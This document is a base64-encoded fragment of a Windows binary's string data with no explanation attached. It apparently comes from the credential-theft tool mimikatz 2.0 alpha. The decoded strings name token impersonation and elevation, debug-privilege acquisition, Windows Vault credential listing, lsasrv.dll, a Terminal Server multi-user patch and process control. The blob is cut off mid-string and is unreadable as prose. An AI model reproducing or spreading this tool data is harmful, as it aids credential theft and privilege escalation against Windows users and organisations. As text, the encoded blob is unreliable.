HIAbwBtAHAAdAAgACAAIAAgACAAIAAgACAAIAAgACgAdwBpAHQAaABvAHUAdAAgAEQAaQBzAGEAYgBsAGUAQwBNAEQAKQAAAAAAYwBtAGQAAABNAGkAcwBjAGUAbABsAGEAbgBlAG8AdQBzACAAbQBvAGQAdQBsAGUAAAAAAG0AaQBzAGMAAAAAAHcAbABhAG4AYQBwAGkAAABXbGFuT3BlbkhhbmRsZQAAV2xhbkNsb3NlSGFuZGxlAFdsYW5FbnVtSW50ZXJmYWNlcwAAV2xhbkdldFByb2ZpbGVMaXN0AABXbGFuR2V0UHJvZmlsZQAAV2xhbkZyZWVNZW1vcnkAAEsAaQB3AGkAQQBuAGQAQwBNAEQAAAAAAEQAaQBzAGEAYgBsAGUAQwBNAEQAAAAAAGMAbQBkAC4AZQB4AGUAAABLAGkAdwBpAEEAbgBkAFIAZQBnAGkAcwB0AHIAeQBUAG8AbwBsAHMAAAAAAEQAaQBzAGEAYgBsAGUAUgBlAGcAaQBzAHQAcgB5AFQAbwBvAGwAcwAAAAAAcgBlAGcAZQBkAGkAdAAuAGUAeABlAAAASwBpAHcAaQBBAG4AZABUAGEAcwBrAE0AZwByAAAAAABEAGkAcwBhAGIAbABlAFQAYQBzAGsATQBnAHIAAAAAAHQAYQBzAGsAbQBnAHIALgBlAHgAZQAAAGQAcwBOAGMAUwBlAHIAdgBpAGMAZQAAAAkAKAAlAHcAWgApAAAAAAAJAFsAJQB1AF0AIAAlAHcAWgAgACEAIAAAAAAAJQAtADMAMgBTAAAAIwAgACUAdQAAAAAACQAgACUAcAAgAC0APgAgACUAcAAAAAAAJQB3AFoAIAAoACUAdQApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AZABlAHQAbwB1AHIAcwBfAGMAYQBsAGwAYgBhAGMAawBfAHAAcgBvAGMAZQBzAHMAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFAAYQB0AGMAaAAgAE8ASwAgAGYAbwByACAAJwAlAHMAJwAgAGYAcgBvAG0AIAAnACUAcwAnACAAdABvACAAJwAlAHMAJwAgAEAAIAAlAHAACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBnAGUAbgBlAHIAaQBjAF8AbgBvAGcAcABvAF8AcABhAHQAYwBoACAAOwAgAGsAdQBsAGwAXwBtAF8AcABhAHQAYwBoACAAKAAwAHgAJQAwADgAeAApAAoAAAAAACAAKgAgAAAAIAAvACAAJQBzACAALQAgACUAcwAKAAAACQB8ACAAJQBzAAoAAAAAAGcAcgBvAHUAcAAAAGwAbwBjAGEAbABnAHIAbwB1AHAAAAAAAG4AZQB0AAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAE8AcABlAG4ARABvAG0AYQBpAG4AIABCAHUAaQBsAHQAaQBuACAAKAA/ACkAIAAlADAAOAB4AAoAAAAKAEQAbwBtAGEAaQBuACAAbgBhAG0AZQAgADoAIAAlAHcAWgAAAAAACgBEAG8AbQBhAGkAbgAgAFMASQBEACAAIAA6ACAAAAAKACAAJQAtADUAdQAgACUAdwBaAAAAAAAKACAAfAAgACUALQA1AHUAIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBMAG8AbwBrAHUAcABJAGQAcwBJAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAEcAZQB0AEcAcgBvAHUAcABzAEYAbwByAFUAcwBlAHIAIAAlADAAOAB4AAAAAAAKACAAfABgACUALQA1AHUAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAEcAZQB0AEEAbABpAGEAcwBNAGUAbQBiAGUAcgBzAGgAaQBwACAAJQAwADgAeAAAAAAACgAgAHwAtAAlAC0ANQB1ACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0AUgBpAGQAVABvAFMAaQBkACAAJQAwADgAeAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAE8AcABlAG4AVQBzAGUAcgAgACUAMAA4AHgAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBFAG4AdQBtAGUAcgBhAHQAZQBVAHMAZQByAHMASQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ATwBwAGUAbgBEAG8AbQBhAGkAbgAgACUAMAA4AHgAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAEwAbwBvAGsAdQBwAEQAbwBtAGEAaQBuAEkAbgBTAGEAbQBTAGUAcgB2AGUAcgAgACUAMAA4AHgAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBFAG4AdQBtAGUAcgBhAHQAZQBEAG8AbQBhAGkAbgBzAEkAbgBTAGEAbQBTAGUAcgB2AGUAcgAgACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAEMAbwBuAG4AZQBjAHQAIAAlADAAOAB4AAoAAAAAAEEAcwBrACAAZABlAGIAdQBnACAAcAByAGkAdgBpAGwAZQBnAGUAAABkAGUAYgB1AGcAAABQAHIAaQB2AGkAbABlAGcAZQAgAG0AbwBkAHUAbABlAAAAAABwAHIAaQB2AGkAbABlAGcAZQAAAFAAcgBpAHYAaQBsAGUAZwBlACAAJwAlAHUAJwAgAE8ASwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBpAHYAaQBsAGUAZwBlAF8AcwBpAG0AcABsAGUAIAA7ACAAUgB0AGwAQQBkAGoAdQBzAHQAUAByAGkAdgBpAGwAZQBnAGUAIAAoACUAdQApACAAJQAwADgAeAAKAAAAUgBlAHMAdQBtAGUAIABhACAAcAByAG8AYwBlAHMAcwAAAAAAcgBlAHMAdQBtAGUAAAAAAFMAdQBzAHAAZQBuAGQAIABhACAAcAByAG8AYwBlAHMAcwAAAHMAdQBzAHAAZQBuAGQAAABUAGUAcgBtAGkAbgBhAHQAZQAgAGEAIABwAHIAbwBjAGUAcwBzAAAAcwB0AG8AcAAAAAAAUwB0AGEAcgB0ACAAYQAgAHAAcgBvAGMAZQBzAHMAAABzAHQAYQByAHQAAABMAGkAcwB0ACAAaQBtAHAAbwByAHQAcwAAAAAAaQBtAHAAbwByAHQAcwAAAEwAaQBzAHQAIABlAHgAcABvAHIAdABzAAAAAABlAHgAcABvAHIAdABzAAAAUAByAG8AYwBlAHMAcwAgAG0AbwBkAHUAbABlAAAAAABUAHIAeQBpAG4AZwAgAHQAbwAgAHMAdABhAHIAdAAgACIAJQBzACIAIAA6ACAAAABPAEsAIAAhACAAKABQAEkARAAgACUAdQApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBzAHQAYQByAHQAIAA7ACAAawB1AGwAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AYwByAGUAYQB0AGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAATgB0AFQAZQByAG0AaQBuAGEAdABlAFAAcgBvAGMAZQBzAHMAAAAAAE4AdABTAHUAcwBwAGUAbgBkAFAAcgBvAGMAZQBzAHMAAAAAAE4AdABSAGUAcwB1AG0AZQBQAHIAbwBjAGUAcwBzAAAAJQBzACAAbwBmACAAJQB1ACAAUABJAEQAIAA6ACAATwBLACAAIQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAG4AZQByAGkAYwBPAHAAZQByAGEAdABpAG8AbgAgADsAIAAlAHMAIAAwAHgAJQAwADgAeAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAbgBlAHIAaQBjAE8AcABlAHIAYQB0AGkAbwBuACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQBuAGUAcgBpAGMATwBwAGUAcgBhAHQAaQBvAG4AIAA7ACAAcABpAGQAIAAoAC8AcABpAGQAOgAxADIAMwApACAAaQBzACAAbQBpAHMAcwBpAG4AZwAAACUAdQAJACUAdwBaAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AYwBhAGwAbABiAGEAYwBrAFAAcgBvAGMAZQBzAHMAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBjAGEAbABsAGIAYQBjAGsAUAByAG8AYwBlAHMAcwAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AbwBwAGUAbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAACgAlAHcAWgAAAAAACgAJACUAcAAgAC0APgAgACUAdQAAAAAACQAlAHUAAAAJACAAAAAAAAkAJQBwAAAACQAlAFMAAAAJAC0APgAgACUAUwAAAAAACgAJACUAcAAgAC0APgAgACUAcAAJACUAUwAgACEAIAAAAAAAJQBTAAAAAAAjACUAdQAAAEwAaQBzAHQAIABzAGUAcgB2AGkAYwBlAHMAAABSAGUAcwB1AG0AZQAgAHMAZQByAHYAaQBjAGUAAAAAAFMAdQBzAHAAZQBuAGQAIABzAGUAcgB2AGkAYwBlAAAAUwB0AG8AcAAgAHMAZQByAHYAaQBjAGUAAAAAAFIAZQBtAG8AdgBlACAAcwBlAHIAdgBpAGMAZQAAAAAAUwB0AGEAcgB0ACAAcwBlAHIAdgBpAGMAZQAAAFMAZQByAHYAaQBjAGUAIABtAG8AZAB1AGwAZQAAAAAAcwBlAHIAdgBpAGMAZQAAACUAcwAgACcAJQBzACcAIABzAGUAcgB2AGkAYwBlACAAOgAgAAAAAABPAEsACgAAAAAAAABFAFIAUgBPAFIAIABnAGUAbgBlAHIAaQBjAEYAdQBuAGMAdABpAG8AbgAgADsAIABTAGUAcgB2AGkAYwBlACAAbwBwAGUAcgBhAHQAaQBvAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGcAZQBuAGUAcgBpAGMARgB1AG4AYwB0AGkAbwBuACAAOwAgAE0AaQBzAHMAaQBuAGcAIABzAGUAcgB2AGkAYwBlACAAbgBhAG0AZQAgAGEAcgBnAHUAbQBlAG4AdAAKAAAAAABTAHQAYQByAHQAaQBuAGcAAAAAAFIAZQBtAG8AdgBpAG4AZwAAAAAAUwB0AG8AcABwAGkAbgBnAAAAAABTAHUAcwBwAGUAbgBkAGkAbgBnAAAAAABSAGUAcwB1AG0AaQBuAGcAAAAAAEQAaQBzAHAAbABhAHkAIABzAG8AbQBlACAAdgBlAHIAcwBpAG8AbgAgAGkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAAAAdgBlAHIAcwBpAG8AbgAAAAAAAABTAHcAaQB0AGMAaAAgAGYAaQBsAGUAIABvAHUAdABwAHUAdAAvAGIAYQBzAGUANgA0ACAAbwB1AHQAcAB1AHQAAAAAAGIAYQBzAGUANgA0AAAAAAAAAAAATABvAGcAIABtAGkAbQBpAGsAYQB0AHoAIABpAG4AcAB1AHQALwBvAHUAdABwAHUAdAAgAHQAbwAgAGYAaQBsAGUAAAAAAAAAUwBsAGUAZQBwACAAYQBuACAAYQBtAG8AdQBuAHQAIABvAGYAIABtAGkAbABsAGkAcwBlAGMAbwBuAGQAcwAAAHMAbABlAGUAcAAAAAAAAABBAG4AcwB3AGUAcgAgAHQAbwAgAHQAaABlACAAVQBsAHQAaQBtAGEAdABlACAAUQB1AGUAcwB0AGkAbwBuACAAbwBmACAATABpAGYAZQAsACAAdABoAGUAIABVAG4AaQB2AGUAcgBzAGUALAAgAGEAbgBkACAARQB2AGUAcgB5AHQAaABpAG4AZwAAAGEAbgBzAHcAZQByAAAAAAAAAAAAQwBsAGUAYQByACAAcwBjAHIAZQBlAG4AIAAoAGQAbwBlAHMAbgAnAHQAIAB3AG8AcgBrACAAdwBpAHQAaAAgAHIAZQBkAGkAcgBlAGMAdABpAG8AbgBzACwAIABsAGkAawBlACAAUABzAEUAeABlAGMAKQAAAAAAYwBsAHMAAABRAHUAaQB0ACAAbQBpAG0AaQBrAGEAdAB6AAAAZQB4AGkAdAAAAAAAQgBhAHMAaQBjACAAYwBvAG0AbQBhAG4AZABzACAAKABkAG8AZQBzACAAbgBvAHQAIAByAGUAcQB1AGkAcgBlACAAbQBvAGQAdQBsAGUAIABuAGEAbQBlACkAAABTAHQAYQBuAGQAYQByAGQAIABtAG8AZAB1AGwAZQAAAHMAdABhAG4AZABhAHIAZAAAAAAAQgB5AGUAIQAKAAAANAAyAC4ACgAAAAAAUwBsAGUAZQBwACAAOgAgACUAdQAgAG0AcwAuAC4ALgAgAAAARQBuAGQAIAAhAAoAAAAAAG0AaQBtAGkAawBhAHQAegAuAGwAbwBnAAAAAABVAHMAaQBuAGcAIAAnACUAcwAnACAAZgBvAHIAIABsAG8AZwBmAGkAbABlACAAOgAgACUAcwAKAAAAAAB0AHIAdQBlAAAAAABmAGEAbABzAGUAAABpAHMAQgBhAHMAZQA2ADQASQBuAHQAZQByAGMAZQBwAHQAIAB3AGEAcwAgACAAIAAgADoAIAAlAHMACgAAAAAAaQBzAEIAYQBzAGUANgA0AEkAbgB0AGUAcgBjAGUAcAB0ACAAaQBzACAAbgBvAHcAIAA6ACAAJQBzAAoAAAAAADYANAAAAAAAOAA2AAAAAAAAAAAACgBtAGkAbQBpAGsAYQB0AHoAIAAyAC4AMAAgAGEAbABwAGgAYQAgACgAYQByAGMAaAAgAHgAOAA2ACkACgBOAFQAIAAgACAAIAAgAC0AIAAgAFcAaQBuAGQAbwB3AHMAIABOAFQAIAAlAHUALgAlAHUAIABiAHUAaQBsAGQAIAAlAHUAIAAoAGEAcgBjAGgAIAB4ACUAcwApAAoAAAAAAFAAcgBpAG0AYQByAHkAAABVAG4AawBuAG8AdwBuAAAARABlAGwAZQBnAGEAdABpAG8AbgAAAAAASQBtAHAAZQByAHMAbwBuAGEAdABpAG8AbgAAAEkAZABlAG4AdABpAGYAaQBjAGEAdABpAG8AbgAAAAAAQQBuAG8AbgB5AG0AbwB1AHMAAABSAGUAdgBlAHIAdAAgAHQAbwAgAHAAcgBvAGMAZQBzACAAdABvAGsAZQBuAAAAAAByAGUAdgBlAHIAdAAAAAAASQBtAHAAZQByAHMAbwBuAGEAdABlACAAYQAgAHQAbwBrAGUAbgAAAGUAbABlAHYAYQB0AGUAAABMAGkAcwB0ACAAYQBsAGwAIAB0AG8AawBlAG4AcwAgAG8AZgAgAHQAaABlACAAcwB5AHMAdABlAG0AAABEAGkAcwBwAGwAYQB5ACAAYwB1AHIAcgBlAG4AdAAgAGkAZABlAG4AdABpAHQAeQAAAAAAdwBoAG8AYQBtAGkAAAAAAFQAbwBrAGUAbgAgAG0AYQBuAGkAcAB1AGwAYQB0AGkAbwBuACAAbQBvAGQAdQBsAGUAAAB0AG8AawBlAG4AAAAgACoAIABQAHIAbwBjAGUAcwBzACAAVABvAGsAZQBuACAAOgAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwB3AGgAbwBhAG0AaQAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAVABvAGsAZQBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAAACAAKgAgAFQAaAByAGUAYQBkACAAVABvAGsAZQBuACAAIAA6ACAAAABuAG8AIAB0AG8AawBlAG4ACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAHcAaABvAGEAbQBpACAAOwAgAE8AcABlAG4AVABoAHIAZQBhAGQAVABvAGsAZQBuACAAKAAwAHgAJQAwADgAeAApAAoAAABkAG8AbQBhAGkAbgBhAGQAbQBpAG4AAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwBsAGkAcwB0AF8AbwByAF8AZQBsAGUAdgBhAHQAZQAgADsAIABrAHUAbABsAF8AbQBfAGwAbwBjAGEAbABfAGQAbwBtAGEAaQBuAF8AdQBzAGUAcgBfAGcAZQB0AEMAdQByAHIAZQBuAHQARABvAG0AYQBpAG4AUwBJAEQAIAAoADAAeAAlADAAOAB4ACkACgAAAHMAeQBzAHQAZQBtAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAGwAaQBzAHQAXwBvAHIAXwBlAGwAZQB2AGEAdABlACAAOwAgAE4AbwAgAHUAcwBlAHIAbgBhAG0AZQAgAGEAdgBhAGkAbABhAGIAbABlACAAdwBoAGUAbgAgAFMAWQBTAFQARQBNAAoAAABUAG8AawBlAG4AIABJAGQAIAAgADoAIAAlAHUACgBVAHMAZQByACAAbgBhAG0AZQAgADoAIAAlAHMACgBTAEkARAAgAG4AYQBtAGUAIAAgADoAIAAAAAAAJQBzAFwAJQBzAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AbABpAHMAdABfAG8AcgBfAGUAbABlAHYAYQB0AGUAIAA7ACAAawB1AGwAbABfAG0AXwB0AG8AawBlAG4AXwBnAGUAdABOAGEAbQBlAEQAbwBtAGEAaQBuAEYAcgBvAG0AUwBJAEQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AbABpAHMAdABfAG8AcgBfAGUAbABlAHYAYQB0AGUAIAA7ACAAawB1AGwAbABfAG0AXwBsAG8AYwBhAGwAXwBkAG8AbQBhAGkAbgBfAHUAcwBlAHIAXwBDAHIAZQBhAHQAZQBXAGUAbABsAEsAbgBvAHcAbgBTAGkAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAHIAZQB2AGUAcgB0ACAAOwAgAFMAZQB0AFQAaAByAGUAYQBkAFQAbwBrAGUAbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAlAC0AMQAwAHUACQAAAAAAJQBzAFwAJQBzAAkAJQBzAAAAAAAJACgAJQAwADIAdQBnACwAJQAwADIAdQBwACkACQAlAHMAAAAgACgAJQBzACkAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAGwAaQBzAHQAXwBvAHIAXwBlAGwAZQB2AGEAdABlAF8AYwBhAGwAbABiAGEAYwBrACAAOwAgAEMAaABlAGMAawBUAG8AawBlAG4ATQBlAG0AYgBlAHIAcwBoAGkAcAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAlAHUACQAAACAALQA+ACAASQBtAHAAZQByAHMAbwBuAGEAdABlAGQAIAAhAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwBsAGkAcwB0AF8AbwByAF8AZQBsAGUAdgBhAHQAZQBfAGMAYQBsAGwAYgBhAGMAawAgADsAIABTAGUAdABUAGgAcgBlAGEAZABUAG8AawBlAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAWwBlAHgAcABlAHIAaQBtAGUAbgB0AGEAbABdACAAcABhAHQAYwBoACAAVABlAHIAbQBpAG4AYQBsACAAUwBlAHIAdgBlAHIAIABzAGUAcgB2AGkAYwBlACAAdABvACAAYQBsAGwAbwB3ACAAbQB1AGwAdABpAHAAbABlAHMAIAB1AHMAZQByAHMAAABtAHUAbAB0AGkAcgBkAHAAAAAAAFQAZQByAG0AaQBuAGEAbAAgAFMAZQByAHYAZQByACAAbQBvAGQAdQBsAGUAAAAAAHQAcwAAAAAAdABlAHIAbQBzAHIAdgAuAGQAbABsAAAAVABlAHIAbQBTAGUAcgB2AGkAYwBlAAAAZABvAG0AYQBpAG4AXwBlAHgAdABlAG4AZABlAGQAAABnAGUAbgBlAHIAaQBjAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAAAAZABvAG0AYQBpAG4AXwB2AGkAcwBpAGIAbABlAF8AcABhAHMAcwB3AG8AcgBkAAAAZABvAG0AYQBpAG4AXwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAAAAAAGQAbwBtAGEAaQBuAF8AcABhAHMAcwB3AG8AcgBkAAAAZwBlAG4AZQByAGkAYwAAAEIAaQBvAG0AZQB0AHIAaQBjAAAAUABpAGMAdAB1AHIAZQAgAFAAYQBzAHMAdwBvAHIAZAAAAAAAUABpAG4AIABMAG8AZwBvAG4AAABEAG8AbQBhAGkAbgAgAEUAeAB0AGUAbgBkAGUAZAAAAEQAbwBtAGEAaQBuACAAQwBlAHIAdABpAGYAaQBjAGEAdABlAAAAAABEAG8AbQBhAGkAbgAgAFAAYQBzAHMAdwBvAHIAZAAAAGMAcgBlAGQAAAAAAFcAaQBuAGQAbwB3AHMAIABWAGEAdQBsAHQALwBDAHIAZQBkAGUAbgB0AGkAYQBsACAAbQBvAGQAdQBsAGUAAAB2AGEAdQBsAHQAAAB2AGEAdQBsAHQAYwBsAGkAAAAAAFZhdWx0RW51bWVyYXRlSXRlbVR5cGVzAFZhdWx0RW51bWVyYXRlVmF1bHRzAAAAAFZhdWx0T3BlblZhdWx0AABWYXVsdEdldEluZm9ybWF0aW9uAFZhdWx0RW51bWVyYXRlSXRlbXMAVmF1bHRDbG9zZVZhdWx0AFZhdWx0RnJlZQAAAFZhdWx0R2V0SXRlbQAAAAAKAFYAYQB1AGwAdAAgADoAIAAAAAkASQB0AGUAbQBzACAAKAAlAHUAKQAKAAAAAAAJACAAJQAyAHUALgAJACUAcwAKAAAAAAAJAAkAVAB5AHAAZQAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAkACQBMAGEAcwB0AFcAcgBpAHQAdABlAG4AIAAgACAAIAAgADoAIAAAAAAACQAJAEYAbABhAGcAcwAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgACgAAAAkACQBSAGUAcwBzAG8AdQByAGMAZQAgACAAIAAgACAAIAAgADoAIAAAAAAACQAJAEkAZABlAG4AdABpAHQAeQAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAJAAkAQQB1AHQAaABlAG4AdABpAGMAYQB0AG8AcgAgACAAIAA6ACAAAAAAAAkACQBQAHIAbwBwAGUAcgB0AHkAIAAlADIAdQAgACAAIAAgACAAOgAgAAAACQAJACoAQQB1AHQAaABlAG4AdABpAGMAYQB0AG8AcgAqACAAOgAgAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBsAGkAcwB0ACAAOwAgAFYAYQB1AGwAdABHAGUAdABJAHQAZQBtADcAIAA6ACAAJQAwADgAeAAAAAAACQAJAFAAYQBjAGsAYQBnAGUAUwBpAGQAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBsAGkAcwB0ACAAOwAgAFYAYQB1AGwAdABHAGUAdABJAHQAZQBtADgAIAA6ACAAJQAwADgAeAAAAAAACgAJAAkAKgAqACoAIAAlAHMAIAAqACoAKgAKAAAAAAAJAAkAVQBzAGUAcgAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAACUAcwBcACUAcwAAAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBcAEwAbwBnAG8AbgBVAEkAXABQAGkAYwB0AHUAcgBlAFAAYQBzAHMAdwBvAHIAZAAAAAAAYgBnAFAAYQB0AGgAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGwAaQBzAHQAXwBkAGUAcwBjAEkAdABlAG0AXwBQAEkATgBMAG8AZwBvAG4ATwByAFAAaQBjAHQAdQByAGUAUABhAHMAcwB3AG8AcgBkAE8AcgBCAGkAbwBtAGUAdAByAGkAYwAgADsAIABSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgADIAIAA6ACAAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdABfAGQAZQBzAGMASQB0AGUAbQBfAFAASQBOAEwAbwBnAG8AbgBPAHIAUABpAGMAdAB1AHIAZQBQAGEAcwBzAHcAbwByAGQATwByAEIAaQBvAG0AZQB0AHIAaQBjACAAOwAgAFIAZQBnAFEAdQBlAHIAeQBWAGEAbAB1AGUARQB4ACAAMQAgADoAIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBsAGkAcwB0AF8AZABlAHMAYwBJAHQAZQBtAF8AUABJAE4ATABvAGcAbwBuAE8AcgBQAGkAYwB0AHUAcgBlAFAAYQBzAHMAdwBvAHIAZABPAHIAQgBpAG8AbQBlAHQAcgBpAGMAIAA7ACAAUgBlAGcATwBwAGUAbgBLAGUAeQBFAHgAIABTAEkARAAgADoAIAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGwAaQBzAHQAXwBkAGUAcwBjAEkAdABlAG0AXwBQAEkATgBMAG8AZwBvAG4ATwByAFAAaQBjAHQAdQByAGUAUABhAHMAcwB3AG8AcgBkAE8AcgBCAGkAbwBtAGUAdAByAGkAYwAgADsAIABDAG8AbgB2AGUAcgB0AFMAaQBkAFQAbwBTAHQAcgBpAG4AZwBTAGkAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBsAGkAcwB0AF8AZABlAHMAYwBJAHQAZQBtAF8AUABJAE4ATABvAGcAbwBuAE8AcgBQAGkAYwB0AHUAcgBlAFAAYQBzAHMAdwBvAHIAZABPAHIAQgBpAG8AbQBlAHQAcgBpAGMAIAA7ACAAUgBlAGcATwBwAGUAbgBLAGUAeQBFAHgAIABQAGkAYwB0AHUAcgBlAFAAYQBzAHMAdwBvAHIAZAAgADoAIAAlADAAOAB4AAoAAAAAAAkACQBQAGEAcwBzAHcAbwByAGQAIAAgACAAIAAgACAAIAAgADoAIAAAAAAACQAJAFAASQBOACAAQwBvAGQAZQAgACAAIAAgACAAIAAgACAAOgAgACUAMAA0AGgAdQAKAAAAAAAJAAkAQgBhAGMAawBnAHIAbwB1AG4AZAAgAHAAYQB0AGgAIAA6ACAAJQBzAAoAAAAJAAkAUABpAGMAdAB1AHIAZQAgAHAAYQBzAHMAdwBvAHIAZAAgACgAZwByAGkAZAAgAGkAcwAgADEANQAwACoAMQAwADAAKQAKAAAACQAJACAAWwAlAHUAXQAgAAAAAABwAG8AaQBuAHQAIAAgACgAeAAgAD0AIAAlADMAdQAgADsAIAB5ACAAPQAgACUAMwB1ACkAAAAAAGMAbABvAGMAawB3AGkAcwBlAAAAYQBuAHQAaQBjAGwAbwBjAGsAdwBpAHMAZQAAAGMAaQByAGMAbABlACAAKAB4ACAAPQAgACUAMwB1ACAAOwAgAHkAIAA9ACAAJQAzAHUAIAA7ACAAcgAgAD0AIAAlADMAdQApACAALQAgACUAcwAAAAAAAABsAGkAbgBlACAAIAAgACgAeAAgAD0AIAAlADMAdQAgADsAIAB5ACAAPQAgACUAMwB1ACkAIAAtAD4AIAAoAHgAIAA9ACAAJQAzAHUAIAA7ACAAeQAgAD0AIAAlADMAdQApAAAAJQB1AAoAAAAJAAkAUAByAG8AcABlAHIAdAB5ACAAIAAgACAAIAAgACAAIAA6ACAAAAAAACUALgAqAHMAXAAAACUALgAqAHMAAAAAAHQAbwBkAG8AIAA/AAoAAAAJAE4AYQBtAGUAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAB0AGUAbQBwACAAdgBhAHUAbAB0AAAAAAAJAFAAYQB0AGgAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAAlAGgAdQAAACUAdQAAAAAAWwBUAHkAcABlACAAJQB1AF0AIAAAAAAAbABzAGEAcwByAHYALgBkAGwAbAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBjAHIAZQB